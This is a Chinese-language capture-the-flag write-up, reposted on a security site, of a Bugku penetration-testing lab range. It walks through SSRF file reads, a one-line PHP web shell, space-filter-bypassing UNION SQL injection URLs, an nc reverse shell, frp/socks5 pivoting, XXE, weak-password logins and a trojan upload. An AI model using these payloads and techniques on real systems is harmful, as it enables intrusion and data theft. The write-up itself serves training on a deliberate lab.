记录一次坎坷的打靶经历·三

admin 2023年4月17日01:47:55评论43 views字数 2648阅读8分49秒阅读模式

前言

Bugku的PAR模式,渗透测试3,共8个flag,这次打靶挺轻松,感觉比较简单,一次过,嘿嘿。在此,分享出来笔者的过程,并呈现自己的思考,同时也希望能获得大佬的指点。

过程

记录一次坎坷的打靶经历·三

0x01 flag1 (ssrf)

记录一次坎坷的打靶经历·三
开启靶场,依旧是给了个ip:80,不过题目给了个打进内网的提示,
先上nmap扫一下
记录一次坎坷的打靶经历·三
从80端口开始吧,访问80端口
记录一次坎坷的打靶经历·三
一个站点快照获取的功能,其实打过ctf的都知道这应该会有ssrf漏洞,
那么在已知这是一个php站点,且有着ssrf漏洞的情况下,我们应该如何利用呢?

http://:探测内网主机存活、端口开放情况
gopher://:发送GET或POST请求;攻击内网应用,如FastCGI、Redis
dict://:泄露安装软件版本信息,查看端口,操作内网redis访问等
file://:读取本地文件

先利用file协议看一下当前源代码,填入file:///var/www/html/index.php,右键点击查看页面源代码,发现源码
记录一次坎坷的打靶经历·三
能看到源码就证明了我们之前的猜想是正确的,那么现在我们就已经可以直接读取当前机子里边的flag了,让我猜猜看,flag在根目录下
记录一次坎坷的打靶经历·三

0x02 flag2、flag3(shell.php)

题目给了个提示
记录一次坎坷的打靶经历·三
但是暂时不太明白有什么用,继续利用file协议查看一下当前机子的网络信息
记录一次坎坷的打靶经历·三
提示有一个192.168.0.2/24网段,填入http://192.168.0.1,然后抓包爆破最后一位数,通过返回包长度来探测局域网内有哪些机子开了80端口
记录一次坎坷的打靶经历·三
根据返回长度,可以直接判断出来这个网段里有四台不同的机子,回到web界面,看看http://192.168.0.10的快照
记录一次坎坷的打靶经历·三
嘿,这是挂了个黑页是吧,页面源代码也没有什么东西
记录一次坎坷的打靶经历·三
用burp抓到获取快照的请求包,然后发送到Intruder爆破一下目录看看,
记录一次坎坷的打靶经历·三
根据返回包长度发现那个站点有shell.php文件,根据返回包可以知道该文件大致内容为

<?php system($_GET['cmd']);?>

直接cmd传参执行命令,看看当前目录,和根目录下
记录一次坎坷的打靶经历·三
记录一次坎坷的打靶经历·三
拿下两个flag
记录一次坎坷的打靶经历·三

flag4(sql注入)

还记得之前爆破探测出来的url里还有两台机子,按顺序来,先看看192.168.0.138
记录一次坎坷的打靶经历·三
估摸着是sql注入,查看源代码知道这是get传参id
记录一次坎坷的打靶经历·三
输入一个1' or 1=1#进去发现有问题
记录一次坎坷的打靶经历·三
经过一段时间的fuzz后,发现这个过滤了空格,选用+代替空格从而绕过,先看一下回显点

http://192.168.0.138/?id=-1+and+1=2+union+select+1,2,3,4

记录一次坎坷的打靶经历·三
查数据库名

http://192.168.0.138/?id=-1+and+1=2+union+select+1,database(),3,4

记录一次坎坷的打靶经历·三
接下来查表名,因为只能显示一行的数据,所以我们需要用order by来获取更多的数据,order by 1查出的表名为double

http://192.168.0.138/?id=-1+and+1=2+union+select+1,database(),3,TABLE_NAME+from+information_schema.tables+where+TABLE_SCHEMA="bugku_sql"+order+by+1

记录一次坎坷的打靶经历·三
order by 2 查出的表名为flag,那么flag应该就在这个表里了吧
记录一次坎坷的打靶经历·三
继续查列名,比较幸运,order by 1就是flag

http://192.168.0.138/?id=-1+and+1=2+union+select+1,database(),3,COLUMN_NAME+from+information_schema.COLUMNS+where+TABLE_SCHEMA="bugku_sql"+and+TABLE_NAME="double"+order+by+1

记录一次坎坷的打靶经历·三
直接出flag

http://192.168.0.138/?id=-1+and+1=2+union+select+1,database(),3,flag+from+bugku_sql.flag

记录一次坎坷的打靶经历·三

flag7、flag8(xxe)

最后一台机子是192.168.0.250,获取快照是一个登录界面,通过ssrf去做这个不是很方便,回顾之前有一台被黑了的可以执行任意命令的机子,先看看命令ls /usr/bin
记录一次坎坷的打靶经历·三
有wget命令,先从公网vps上下载frpc,想挂一个代理开个socks5隧道,方便后续的操作,结果发现这样,添加不了执行权限
记录一次坎坷的打靶经历·三
记录一次坎坷的打靶经历·三
看来得先试试反弹shell,在用户命令中看到了nc
使用nc进行shell反弹
记录一次坎坷的打靶经历·三
接收到shell后,再给frpc加上执行权限,这次成功了
记录一次坎坷的打靶经历·三
顺利搭建隧道,访问192.168.0.250
记录一次坎坷的打靶经历·三
尝试一波弱口令admin/admin,登录成功,但是并没有进行跳转,依旧留在了当前页面
记录一次坎坷的打靶经历·三
嗯,有点迷,抓包看看返回包
记录一次坎坷的打靶经历·三
嘿,你说这个像不像xxe,盲猜flag在当前目录和根目录下,直接读,成功拿下
记录一次坎坷的打靶经历·三
记录一次坎坷的打靶经历·三

flag5、flag6(内网)

提交完上面的flag后发现这是flag7、和flag8呀,好家伙我的flag5和flag6呢?
记录一次坎坷的打靶经历·三
回顾之前的四台机子,只有192.168.0.10这台咱们能拿下shell,要不看看内网?
记录一次坎坷的打靶经历·三
果然还有一层网段为10.10.0.5/24
上fscan扫一下,但是扫不出任何信息
记录一次坎坷的打靶经历·三
这就有点离谱了,为啥呢,我不理解呜呜呜
之后换了种方式,使用proxychains4转到kali用nmap扫一下
记录一次坎坷的打靶经历·三
这下扫出来一台10.10.0.22:80,不过为什么fscan会扫不出来呢,还是不明白
之前已经挂上frp代理开了socks5隧道了,所以浏览器直接访问10.10.0.22:80
记录一次坎坷的打靶经历·三
使用kali自带工具dirb扫一波目录,扫出来admin.php,需要登录,依旧是弱口令admin/admin
记录一次坎坷的打靶经历·三
登录后跳转到了首页,细心的我们可以发现这是我们已经有了编辑权限
记录一次坎坷的打靶经历·三
点击管理
记录一次坎坷的打靶经历·三
里边有一个文件夹管理,点进去看看
可以上传文件
记录一次坎坷的打靶经历·三
记录一次坎坷的打靶经历·三
当前是media目录看看files目录,
记录一次坎坷的打靶经历·三
就俩文件,看看.htaccess文件,发现只解析php后缀的文件
记录一次坎坷的打靶经历·三
直接上一句话木马加蚁剑,在根目录和网站根目录下拿到最后两个flag
记录一次坎坷的打靶经历·三
记录一次坎坷的打靶经历·三

总结

到这里就结束了,最后回顾一下整个过程,其实这次的靶场还是比较简单的,不过还是可以从中学到很多东西,收获颇丰。希望师傅们不喜勿喷,感谢。

原文链接:https://www.freebuf.com/articles/web/362522.html


原文始发于微信公众号(亿人安全):记录一次坎坷的打靶经历·三

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月17日01:47:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记录一次坎坷的打靶经历·三https://cn-sec.com/archives/1668113.html

发表评论

匿名网友 填写信息